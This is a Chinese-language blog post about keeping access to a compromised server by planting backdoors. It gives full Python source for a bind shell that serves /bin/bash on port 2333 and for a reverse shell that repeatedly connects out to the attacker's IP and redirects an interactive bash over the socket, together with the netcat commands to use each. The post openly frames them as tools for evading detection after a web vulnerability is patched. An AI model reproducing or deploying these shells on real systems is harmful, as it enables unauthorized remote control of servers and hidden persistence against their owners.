基于python的直连shell和反射shell

0x00 前言

每次对服务器进行了渗透和提权之后,下一步就该维持权限(留后门),方便我们下次执行命令,留一个后门比起每次重新从webshell进入,一是降低被发现的概率,二是免去繁琐的操作,三是如果web漏洞被修补webshell被查杀,有时候我们放进去隐藏较好的后门并没有被查杀,我们仍然可以控制这台机器。

这里介绍两个可以通过netcat连接的python版shell。

0x01 需要的库

  • os: os模块提供了非常丰富的方法用来处理文件和目录。
  • subprocess: subprocess是Python 2.4中新增的一个模块,它允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码。我们这里主要使用subprocess.call()函数,执行指定的命令,并返回命令执行状态。
  • socket: Python 提供了两个基本的 socket 模块。第一个是 Socket,它提供了标准的 BSD Sockets API。第二个是 SocketServer,它提供了服务器中心类,可以简化网络服务器的开发。
  • optparse: optparse模块用来处理命令行参数,使我们在统一管理时更方便。

0x02 直连型shell

先贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#filename:zshell.py
from socket import *
import subprocess
if __name__ == "__main__":
server = socket(AF_INET, SOCK_STREAM)
server.bind(('0.0.0.0', 2333))
server.listen(5)
print ('waiting for connect')
while 1:
talk, addr = server.accept()
print('connect from', addr)
proc = subprocess.Popen(["python -c 'import pty; pty.spawn(\"/bin/bash\")'"],
stdin=talk,
stdout=talk,
stderr=talk,
shell=True)

这段代码的作用是,创建一个在2333端口监听任意ip的socket,如果监听到连接,就打开一个/bin/bash进程提供给目标ip执行命令。

我们要使用他时,只需在目标服务器执行

1
python zshell.py

然后在我们自己的机器使用netcat输入:

1
nc <服务器ip> 2333

就可以连接服务器执行命令,演示效果如下,主机是kali,靶机是ubuntu:

0x03 反射型shell

有时我们并不能直接访问目标服务器,这个时候可以通过反射shell来连接,也就是在我们本机使用netcat创建监听,然后让服务器上主动连接我们:
先贴要放在服务器端的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#filename:fshell.py
import os
import socket
import subprocess
import optparse

def connect_shell(HOST,PORT):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# 重定向shell输出
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# 执行子程序
p = subprocess.call(['/bin/bash', '-i'])

def main():
parser = optparse.OptionParser()
parser.add_option('-H', dest='HOST', type='string', help="IP address or Website")
parser.add_option('-p', dest='PORT', type='int', help="Port num")
(options, args) = parser.parse_args()
if(options.HOST==None)|(options.PORT==None):
print('---wrong input!---'+'\n')
exit(0)
else:
HOST = options.HOST
PORT = options.PORT
while(1):
try:
connect_shell(HOST,PORT)
except:
pass

if __name__ =='__main__':
main()

我们在服务端执行此代码,通过命令行参数传入我们本机的ip和监听端口,然后创建向传入的ip和端口的socket连接,再重定向shell之后通过subprocess.call调用/bin/bash来执行命令。

我们要使用它时,首先在本机输入:

1
nc -lvp 2333

然后在服务端运行:

1
python fshell.py -H <我们自己机器的ip> -p 2333

就可以连接服务器执行命令,演示效果如下,主机是kali,靶机是ubuntu:

0x04 总结

除了python,其他语言也能实现这些功能,具体使用哪种语言根据目标系统存在的环境来选择,而linux系统都是集成了python环境的,所以这里用python做例子。

在留后门的过程中,重点并不是写出这个shell,而是如何隐藏它不被发现,下一次有时间会总结一下隐藏shell的各种方式。

fork me on github